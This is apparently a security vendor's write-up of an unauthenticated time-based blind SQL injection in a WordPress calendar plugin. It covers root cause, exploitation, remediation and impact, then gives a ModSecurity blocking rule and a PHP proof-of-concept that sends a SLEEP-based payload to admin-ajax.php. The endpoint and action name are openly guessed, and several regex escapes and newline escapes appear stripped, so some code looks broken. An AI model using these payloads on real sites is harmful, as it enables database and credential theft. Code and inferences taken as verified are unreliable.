Atomic Edge analysis of CVE-2026-6854 (metadata-based):
The vulnerability affects the My Calendar – Accessible Event Manager plugin for WordPress, versions up to and including 3.7.8. This is an unauthenticated time-based blind SQL injection vulnerability in the ‘mc_auth’ parameter. The CVSS score is 7.5 (High) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N, indicating network exploitation with no privileges required and no user interaction, resulting in high confidentiality impact.
Root Cause: Atomic Edge research infers that the vulnerable code exists in an SQL query that incorporates user-supplied data from the ‘mc_auth’ parameter without proper escaping or prepared statement usage. The CWE-89 classification confirms this is a SQL injection weakness arising from improper neutralization of special elements. The description states the plugin uses insufficient escaping on user-supplied parameters and lacks sufficient preparation on existing SQL queries. The plugin also passes ‘mc_host’ parameter, likely used alongside ‘mc_auth’ for authentication or authorization checks. The combination of these parameters in a SQL query (likely a SELECT against a user token table or event permissions table) without parameterized queries or proper escaping allows an attacker to break out of the intended SQL string context. Since no source code diff is available, this analysis is inferred from the CWE and provided description.
Exploitation: An unauthenticated attacker can send a crafted HTTP request to an endpoint that processes the ‘mc_auth’ parameter (likely a WordPress AJAX action, REST API endpoint, or direct PHP file handler). The attack vector involves appending time-based blind SQL injection payloads (e.g., ‘ AND (SELECT IF(1=1,SLEEP(5),0))– ) to the ‘mc_auth’ parameter. The attacker can extract database contents character by character by observing response timing delays. The ‘mc_host’ parameter may also be injectable. Typical URLs would target `/wp-admin/admin-ajax.php?action=my_calendar_action&mc_auth=PAYLOAD` or a similar REST endpoint like `/wp-json/my-calendar/v1/endpoint?mc_auth=PAYLOAD`. The plugin does not enforce authentication or nonce validation for this endpoint, enabling unauthenticated exploitation.
Remediation: The fix in version 3.7.9 likely involves converting the affected SQL queries to use `$wpdb->prepare()` with proper placeholders (`%s`, `%d`) instead of direct string interpolation. The plugin must sanitize and validate the ‘mc_auth’ and ‘mc_host’ parameters before using them in database queries. Input validation should check expected formats (e.g., alphanumeric tokens, hostname patterns) and reject unexpected characters. The plugin should also enforce authentication and nonce checks for endpoints handling sensitive database operations.
Impact: Successful exploitation allows an unauthenticated attacker to extract sensitive information from the WordPress database, including user credentials (hashed passwords), session tokens, private post content, and other sensitive data stored in custom plugin tables. The CVSS vector shows no impact on integrity or availability, but full database compromise is possible via time-based extraction. This could lead to privilege escalation if admin credentials are extracted, or further attacks if sensitive application data is disclosed.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-6854 (metadata-based)
# Blocks SQL injection attempts via 'mc_auth' and 'mc_host' parameters targeting My Calendar plugin
# Targets admin-ajax.php action with suspicious patterns in these parameters
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-6854 - SQL Injection via My Calendar mc_auth parameter',severity:'CRITICAL',tag:'CVE-2026-6854'"
SecRule ARGS_POST:action "@streq my_calendar_auth_check" "chain"
SecRule ARGS_POST:mc_auth "@rx (SELECT|UNION|INSERT|UPDATE|DELETE|DROP|SLEEP|BENCHMARK|ORs+d+|bANDs+d+|--|#|bLOAD_FILE|bINTOs+OUTFILE|bINTOs+DUMPFILE)" "chain"
SecRule ARGS_POST:mc_host "@rx (?:^[a-zA-Z0-9.-]+$)" "t:none"
SecRule ARGS_POST:mc_auth "@rx (?i)(union|select|sleep|benchmark|ors+d|--|#)" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6854 - My Calendar <= 3.7.8 - Unauthenticated SQL Injection via 'mc_auth' and 'mc_host' Parameters
// Assumption: The vulnerable endpoint is an AJAX action registered by the plugin.
// Common pattern: my_calendar_process_auth or similar.
// The PoC targets a guessed endpoint and demonstrates time-based blind SQL injection.
$target_url = ''; // Set this to the target WordPress site URL, e.g., 'http://example.com'
$endpoint = '/wp-admin/admin-ajax.php';
$action = 'my_calendar_auth_check'; // Inferred action name; may need adjustment
if (empty($target_url)) {
die('Please set $target_url to the target WordPress site URL.');
}
// Test payload: time-based blind SQL injection using SLEEP()
// The injection attempts to extract database version via conditional delays
$payload = "' OR IF((SELECT LENGTH(VERSION())>0),SLEEP(5),0)-- ";
$url = $target_url . $endpoint;
$post_data = array(
'action' => $action,
'mc_auth' => $payload,
'mc_host' => 'localhost' // Required host parameter
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_HEADER, false);
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;
curl_close($ch);
echo "Response time: $elapsed secondsn";
if ($elapsed > 3) {
echo "[+] The server responded with a delay > 3 seconds. This indicates time-based SQL injection is likely working.n";
echo "[+] Payload used: $payloadn";
} else {
echo "[-] No significant delay detected. The injection may have failed or the endpoint/parameter is different.n";
}
echo "nNote: This PoC assumes the AJAX action 'my_calendar_auth_check' and that 'mc_auth' is injected into an SQL query without proper escaping. If the endpoint differs, modify the $action variable accordingly. Also replace 'SLEEP(5)' with 'BENCHMARK(10000000,MD5(1))' if SLEEP is disabled.";
?>